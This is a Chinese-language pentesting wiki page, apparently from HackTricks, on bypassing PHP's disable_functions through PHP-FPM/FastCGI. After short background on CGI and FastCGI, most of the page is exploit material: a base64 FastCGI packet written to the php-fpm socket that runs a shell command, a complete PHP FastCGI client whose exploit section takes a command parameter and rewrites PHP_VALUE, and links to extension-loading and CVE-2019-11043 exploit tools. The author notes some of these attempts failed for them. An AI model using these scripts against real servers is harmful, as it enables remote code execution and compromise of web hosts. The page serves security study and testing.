disable_functions bypass - php-fpm/FastCGI

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PHP-FPM

PHP-FPM 被视为标准 PHP FastCGI 的 优越替代品,提供了对 高流量网站特别有利的功能。它通过一个主进程来管理一组工作进程。对于 PHP 脚本请求,web 服务器会发起一个 FastCGI 代理连接到 PHP-FPM 服务。该服务能够 通过服务器上的网络端口或 Unix 套接字接收请求

尽管代理连接起到了中介作用,PHP-FPM 仍需在与 web 服务器相同的机器上运行。它所使用的连接虽然是基于代理的,但与传统的代理连接有所不同。在接收到请求后,PHP-FPM 中的一个可用工作进程会处理该请求——执行 PHP 脚本,然后将结果转发回 web 服务器。工作进程在处理完请求后,会再次可用于即将到来的请求。

但 CGI 和 FastCGI 是什么?

CGI

通常,网页、文件和所有从 web 服务器传输到浏览器的文档都存储在特定的公共目录中,例如 home/user/public_html。当浏览器请求某些内容时,服务器会检查该目录并将所需文件发送给浏览器

如果 CGI 安装在服务器上,特定的 cgi-bin 目录也会被添加,例如 home/user/public_html/cgi-bin。CGI 脚本存储在该目录中。目录中的每个文件都被视为可执行程序。当访问该目录中的脚本时,服务器会向负责该脚本的应用程序发送请求,而不是将文件内容发送给浏览器。在输入数据处理完成后,应用程序将输出数据 发送到 web 服务器,后者将数据转发给 HTTP 客户端。

例如,当访问 CGI 脚本 http://mysitename.com/cgi-bin/file.pl 时,服务器将通过 CGI 运行相应的 Perl 应用程序。脚本执行生成的数据将由应用程序发送到 web 服务器。服务器则会将数据传输给浏览器。如果服务器没有 CGI,浏览器将显示 .pl 文件的代码本身。(解释来自 这里

FastCGI

FastCGI 是一种较新的网络技术,是改进版的 CGI,其主要功能保持不变。

开发 FastCGI 的需求是由于应用程序的快速发展和复杂性,以及为了解决 CGI 技术的可扩展性不足。为了满足这些需求,Open Market 推出了 FastCGI——一种具有增强功能的高性能 CGI 技术版本。

disable_functions bypass

可以通过滥用 FastCGI 来运行 PHP 代码,避免 disable_functions 限制。

通过 Gopherus

我不确定这在现代版本中是否有效,因为我尝试过一次,但没有执行任何内容。如果您有更多信息,请通过 [PEASS & HackTricks Telegram 群组联系我](https://t.me/peass),或在 Twitter 上 [@carlospolopm](https://twitter.com/hacktricks_live).

使用 Gopherus 可以生成一个有效负载,发送到 FastCGI 监听器并执行任意命令:

然后,您可以抓取 urlencoded 有效负载并解码,将其转换为 base64,[例如使用这个 cyberchef 的配方](http://icyberchef.com/#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw). 然后将 base64 复制粘贴到以下 PHP 代码中:

<?php
$fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));

上传并访问此脚本后,漏洞将被发送到 FastCGI(禁用 disable_functions),并且 指定的命令将被执行

PHP 漏洞

我不确定这在现代版本中是否有效,因为我尝试过一次,但无法执行任何内容。实际上,我发现 FastCGI 执行的 phpinfo() 指示 disable_functions 是空的,但 PHP(以某种方式)仍然阻止我执行任何先前禁用的函数。如果您有更多信息,请通过 [PEASS & HackTricks telegram group here](https://t.me/peass), 或 twitter [@carlospolopm](https://twitter.com/hacktricks_live)** 联系我。**

代码来自 这里.

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

使用之前的函数,你会看到函数 system 仍然被禁用,但 phpinfo() 显示 disable_functions 为空

所以,我认为你只能通过 php .ini 配置文件设置 disable_functions,而 PHP_VALUE 不会覆盖该设置。

这是一个利用 fastcgi 协议绕过 open_basedirdisable_functions 的 php 脚本。 它将帮助你通过加载恶意扩展来绕过严格的 disable_functions 以实现 RCE。 你可以在这里访问它:https://github.com/w181496/FuckFastcgi 或稍微修改和改进的版本在这里:https://github.com/BorelEnzo/FuckFastcgi

你会发现这个利用与之前的代码非常相似,但它不是尝试使用 PHP_VALUE 绕过 disable_functions,而是尝试 加载一个外部 PHP 模块 以使用变量 PHP_ADMIN_VALUE 中的参数 extension_dirextension 执行代码。 注意1:你可能需要 重新编译 扩展,使用 服务器正在使用的相同 PHP 版本(你可以在 phpinfo 的输出中检查):

注意2:我通过在 PHP .ini 配置文件中插入 extension_dirextension 值使其工作(这是你在攻击服务器时无法做到的)。但出于某种原因,当使用此利用并从 PHP_ADMIN_VALUE 变量加载扩展时,进程就死掉了,所以我不知道这个技术是否仍然有效。

PHP-FPM 远程代码执行漏洞 (CVE-2019–11043)

你可以使用 phuip-fpizdam 利用此漏洞,并使用此 docker 环境进行测试:https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043。 你还可以在 这里** 找到对该漏洞的分析。**

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